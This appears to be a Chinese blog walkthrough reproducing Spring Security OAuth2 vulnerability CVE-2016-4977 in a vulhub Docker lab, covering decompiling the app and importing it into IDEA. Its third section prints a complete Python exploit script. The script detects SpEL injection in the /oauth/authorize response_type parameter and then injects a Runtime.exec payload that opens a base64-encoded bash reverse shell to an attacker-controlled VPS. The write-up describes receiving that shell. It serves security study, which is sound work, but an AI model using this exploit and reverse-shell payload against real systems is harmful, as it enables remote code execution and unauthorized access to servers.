一.下载Spring(CVE-2016-4977)漏洞代码

对于Spring对应漏洞的下载首先是通过vullhub中启用对应靶场,利用docker-compose up -d命令下载对应资源并且启用相应docker环境。

springboot j_security_check漏洞 spring漏洞利用_intellij-idea

之后利用docker ps查看容器的id

springboot j_security_check漏洞 spring漏洞利用_spring_02

之后利用docker exec -it faa233c136f6 bash进入相应的容器中

springboot j_security_check漏洞 spring漏洞利用_bash_03

进入之后查看docker镜像中的文件,查看到有对应的jar包,由于是springboot的项目,因此只需要拷贝下对应的jar包之后利用Jd-gui将代码反编译为Java文件我们就可以获得对应的java代码因此利用命令docker cp faa233c136f6:/spring-security-oauth2-0.0.1-SNAPSHOT.jar /home/ubuntu

将docker镜像中的文件移动至虚拟机的家目录下,之后就可以将对应的jar文件拿出放到jd-gui中进行反编译

springboot j_security_check漏洞 spring漏洞利用_java_04


二.将相应的代码导入IDEA中

根据查看反编译之后的代码我们可以发现主要的文件就是pom.xml以及开启springboot主类的一些注解,此外application.properties中也有一些配置,在IDEA中新建一个项目之后复制相应的代码,就可以运行成功

springboot j_security_check漏洞 spring漏洞利用_java_05

之后就是开启对应的项目![在这里插入图片描述](

springboot j_security_check漏洞 spring漏洞利用_intellij-idea_06

右键点击主类之后点击run就可以实现运行相应代码(记得将Java版本改成1.8,否则会报错)运行成功后的图像如下

springboot j_security_check漏洞 spring漏洞利用_spring_07


看到这个图像之后就说明可以正常运行springboot项目,之后就是打开浏览器访问http://127.0.0.1:8080会出现以下文字Full authentication is required to access this resourceunauthorized

三.对于漏洞的检测与攻击

之后就是利用现成的poc与exp实现对于漏洞的检测附上exp脚本

import os
import requests
import base64

def poc(url):
    headers = {
        'Authorization': 'Basic '+str(base64.b64encode('admin:admin'.encode('utf-8')),'utf-8')
    }

    payload='/oauth/authorize?response_type=${9*9}&client_id=acme&scope=openid&redirect_uri=http://www.baidu.com'
    number = os.path.basename(__file__).split('.')[0]

    html = requests.get(url + payload, headers=headers, verify=False, timeout=5).text

    if html.find('81') >=0:
        print("[+] The VULN CVE_2016_4977 exists, payload is : http://192.168.29.129:8080/oauth/authorize?response_type=${9*9}&client_id=acme&scope=openid&redirect_uri=http://www.baidu.com")
    else:
        print("不存在该漏洞")

def exp(url,lhost,lport):
    headers = {
        'Authorization': 'Basic '+str(base64.b64encode('admin:admin'.encode('utf-8')),'utf-8')
    }
    bash64Code=bash(lhost, lport)
    flag=bash64ToAscii(bash64Code)

    payload=f'/oauth/authorize?response_type={flag}&client_id=acme&scope=openid&redirect_uri=http://www.baidu.com'
    requests.get(url + payload, headers=headers, verify=False, timeout=5)

def bash(ip,port):
    m = f'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
    s = str(base64.b64encode(m.encode('utf-8')), 'utf-8')
    bash_code = 'bash -c {echo,' + s + '}|{base64,-d}|{bash,-i}'
    return bash_code

def bash64ToAscii(code):
    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(code[0])
    for ch in code[1:]:
        poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
    poc += ')}'

    return poc

url="http://127.0.0.1:8080"
ip='yourvpsip'
port='8000'
poc(url)
exp(url,ip,port)

之后就是启动vps监听相应端口这个自动化脚本可以实现检测和攻击最终攻击成功的效果为

springboot j_security_check漏洞 spring漏洞利用_intellij-idea_08


在对应端口监听到反弹的shell

四.总结

对于在IDEA中实现响应代码的目的主要是为了之后可以动态调试相关代码,找出漏洞来源,本次只是通过exp来实现攻击成功,在之后会更新相关动态调试后找到攻击的对应攻击链条,此外对于之后vulhub中对应Spring的CVE也会通过相同的方式进行复现。